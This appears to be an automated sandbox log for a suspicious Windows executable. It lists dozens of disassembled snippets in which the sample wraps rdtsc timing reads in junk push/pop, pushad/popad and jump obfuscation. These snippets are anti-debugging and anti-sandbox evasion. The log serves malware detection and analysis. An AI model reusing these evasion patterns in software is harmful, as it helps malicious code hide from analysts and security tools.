Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9A5E3C second address: 9A5E40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9A5E40 second address: 9A5E44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9A5E44 second address: 9A5EB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 jmp 00007FDEF8F19BBBh 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007FDEF8F19BB8h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 00000015h 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 mov cl, 2Ch 0x0000002b push 5237218Dh 0x00000030 push edx 0x00000031 push edi 0x00000032 jmp 00007FDEF8F19BBEh 0x00000037 pop edi 0x00000038 pop edx 0x00000039 xor dword ptr [esp], 5237210Dh 0x00000040 and ecx, dword ptr [ebp+122D2473h] 0x00000046 push 00000003h 0x00000048 push 00000000h 0x0000004a push ebx 0x0000004b xor dx, 4B3Eh 0x00000050 pop esi 0x00000051 push 00000003h 0x00000053 mov dx, di 0x00000056 push 964620A2h 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 pop eax 0x00000061 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9A5EB7 second address: 9A5EBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9A5EBD second address: 9A5EC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9A5EC2 second address: 9A5EC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9A5EC8 second address: 9A5EEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 29B9DF5Eh 0x0000000e mov ecx, eax 0x00000010 lea ebx, dword ptr [ebp+1244BB5Fh] 0x00000016 mov dword ptr [ebp+122D257Bh], esi 0x0000001c xchg eax, ebx 0x0000001d push ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 push ecx 0x00000021 pop ecx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9C606C second address: 9C6085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FDEF8F40766h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 js 00007FDEF8F40766h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9C405B second address: 9C4061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9C45D4 second address: 9C45E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDEF8F4076Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9C45E7 second address: 9C45EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9C45EB second address: 9C4610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FDEF8F40778h 0x0000000d push ecx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9C4760 second address: 9C4768 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9C48A0 second address: 9C48BB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007FDEF8F4076Eh 0x0000000e jnp 00007FDEF8F40766h 0x00000014 push edi 0x00000015 pop edi 0x00000016 pushad 0x00000017 push esi 0x00000018 pop esi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9C48BB second address: 9C48C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9C4BF9 second address: 9C4C23 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDEF8F40766h 0x00000008 jnl 00007FDEF8F40766h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop ebx 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007FDEF8F4076Fh 0x00000018 jnl 00007FDEF8F40766h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9C4EE6 second address: 9C4F02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop esi 0x00000007 jmp 00007FDEF8F19BC1h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9C4F02 second address: 9C4F12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDEF8F4076Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9C4F12 second address: 9C4F32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDEF8F19BC6h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9C50B4 second address: 9C50DE instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDEF8F40766h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d pushad 0x0000000e jne 00007FDEF8F40774h 0x00000014 jmp 00007FDEF8F4076Eh 0x00000019 jc 00007FDEF8F4076Ch 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9BCC55 second address: 9BCC69 instructions: 0x00000000 rdtsc 0x00000002 js 00007FDEF8F19BB6h 0x00000008 jng 00007FDEF8F19BB6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9BCC69 second address: 9BCC6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9BCC6D second address: 9BCC81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007FDEF8F19BB6h 0x0000000e jg 00007FDEF8F19BB6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9C57AB second address: 9C57AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9C591F second address: 9C5931 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FDEF8F19BB6h 0x0000000a jnc 00007FDEF8F19BB6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9C5931 second address: 9C593A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9C593A second address: 9C593E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9C5BFC second address: 9C5C02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9C5C02 second address: 9C5C15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FDEF8F19BB6h 0x0000000a popad 0x0000000b jnl 00007FDEF8F19BB8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9C5F00 second address: 9C5F14 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDEF8F40766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e jg 00007FDEF8F40766h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9C5F14 second address: 9C5F18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9C5F18 second address: 9C5F46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDEF8F4076Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDEF8F40777h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9CA03D second address: 9CA042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 992FF1 second address: 992FFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 992FFB second address: 993006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FDEF8F19BB6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9CF0DA second address: 9CF0DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9CF706 second address: 9CF70C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D424A second address: 9D425A instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDEF8F40766h 0x00000008 jns 00007FDEF8F40766h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D3697 second address: 9D369B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D37CE second address: 9D37E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F40771h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D3B04 second address: 9D3B13 instructions: 0x00000000 rdtsc 0x00000002 js 00007FDEF8F19BB6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D3B13 second address: 9D3B2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007FDEF8F40774h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D3F29 second address: 9D3F2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D3F2D second address: 9D3F4A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDEF8F40766h 0x00000008 jmp 00007FDEF8F4076Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D3F4A second address: 9D3F6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F19BBCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDEF8F19BBEh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D3F6A second address: 9D3F70 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D3F70 second address: 9D3F76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D3F76 second address: 9D3F88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDEF8F4076Dh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D6410 second address: 9D6438 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FDEF8F19BC4h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d je 00007FDEF8F19BB8h 0x00000013 push edx 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D670C second address: 9D6712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D67D4 second address: 9D67E6 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDEF8F19BB8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D67E6 second address: 9D67EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D6E3B second address: 9D6E45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FDEF8F19BB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D6E45 second address: 9D6E78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F40777h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007FDEF8F4076Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 je 00007FDEF8F40766h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D6F13 second address: 9D6F17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D6F17 second address: 9D6F2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jl 00007FDEF8F40766h 0x00000011 jns 00007FDEF8F40766h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D6F2F second address: 9D6F35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D7009 second address: 9D702B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FDEF8F40772h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jnp 00007FDEF8F4076Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D702B second address: 9D703E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FDEF8F19BBDh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D717F second address: 9D7186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D7186 second address: 9D718B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D7255 second address: 9D725A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D73C4 second address: 9D73C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D82C8 second address: 9D834A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F40772h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007FDEF8F40768h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 00000014h 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 push 00000000h 0x00000029 xor di, 050Dh 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push eax 0x00000033 call 00007FDEF8F40768h 0x00000038 pop eax 0x00000039 mov dword ptr [esp+04h], eax 0x0000003d add dword ptr [esp+04h], 0000001Bh 0x00000045 inc eax 0x00000046 push eax 0x00000047 ret 0x00000048 pop eax 0x00000049 ret 0x0000004a add esi, dword ptr [ebp+122D257Bh] 0x00000050 pushad 0x00000051 mov cx, bx 0x00000054 clc 0x00000055 popad 0x00000056 xchg eax, ebx 0x00000057 jmp 00007FDEF8F4076Ah 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f pushad 0x00000060 push edi 0x00000061 pop edi 0x00000062 push edx 0x00000063 pop edx 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9D834A second address: 9D8354 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FDEF8F19BB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9DA496 second address: 9DA49A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9DAEF8 second address: 9DAEFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9DA49A second address: 9DA4C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007FDEF8F40778h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9DBA34 second address: 9DBA46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDEF8F19BBEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9DAEFC second address: 9DAF00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9DBCA9 second address: 9DBCAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9DE405 second address: 9DE409 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9DF355 second address: 9DF359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9DF359 second address: 9DF3AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a jns 00007FDEF8F4076Ah 0x00000010 push 00000000h 0x00000012 pushad 0x00000013 mov dword ptr [ebp+1244A77Eh], ecx 0x00000019 mov cx, 2A11h 0x0000001d popad 0x0000001e add edi, dword ptr [ebp+122D1E9Eh] 0x00000024 push 00000000h 0x00000026 jmp 00007FDEF8F4076Eh 0x0000002b xchg eax, esi 0x0000002c jo 00007FDEF8F4076Eh 0x00000032 jnl 00007FDEF8F40768h 0x00000038 pushad 0x00000039 popad 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d jno 00007FDEF8F4076Ch 0x00000043 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9DF4DD second address: 9DF56C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 mov dword ptr [esp], eax 0x00000009 mov edi, 17F462B2h 0x0000000e push dword ptr fs:[00000000h] 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 call 00007FDEF8F19BB8h 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], esi 0x00000022 add dword ptr [esp+04h], 00000019h 0x0000002a inc esi 0x0000002b push esi 0x0000002c ret 0x0000002d pop esi 0x0000002e ret 0x0000002f or dword ptr [ebp+122D2530h], ecx 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c movzx ebx, bx 0x0000003f stc 0x00000040 mov eax, dword ptr [ebp+122D11D1h] 0x00000046 mov edi, dword ptr [ebp+122D1EE1h] 0x0000004c push FFFFFFFFh 0x0000004e push 00000000h 0x00000050 push ebp 0x00000051 call 00007FDEF8F19BB8h 0x00000056 pop ebp 0x00000057 mov dword ptr [esp+04h], ebp 0x0000005b add dword ptr [esp+04h], 0000001Bh 0x00000063 inc ebp 0x00000064 push ebp 0x00000065 ret 0x00000066 pop ebp 0x00000067 ret 0x00000068 sub bx, 6DAFh 0x0000006d nop 0x0000006e push eax 0x0000006f push edx 0x00000070 jmp 00007FDEF8F19BBFh 0x00000075 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9DF56C second address: 9DF59D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FDEF8F4077Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e jmp 00007FDEF8F4076Ah 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9E1591 second address: 9E1597 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9DF59D second address: 9DF5A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9E1597 second address: 9E159C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9E34BC second address: 9E34C6 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDEF8F4076Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9E1682 second address: 9E1686 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9E43F8 second address: 9E43FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
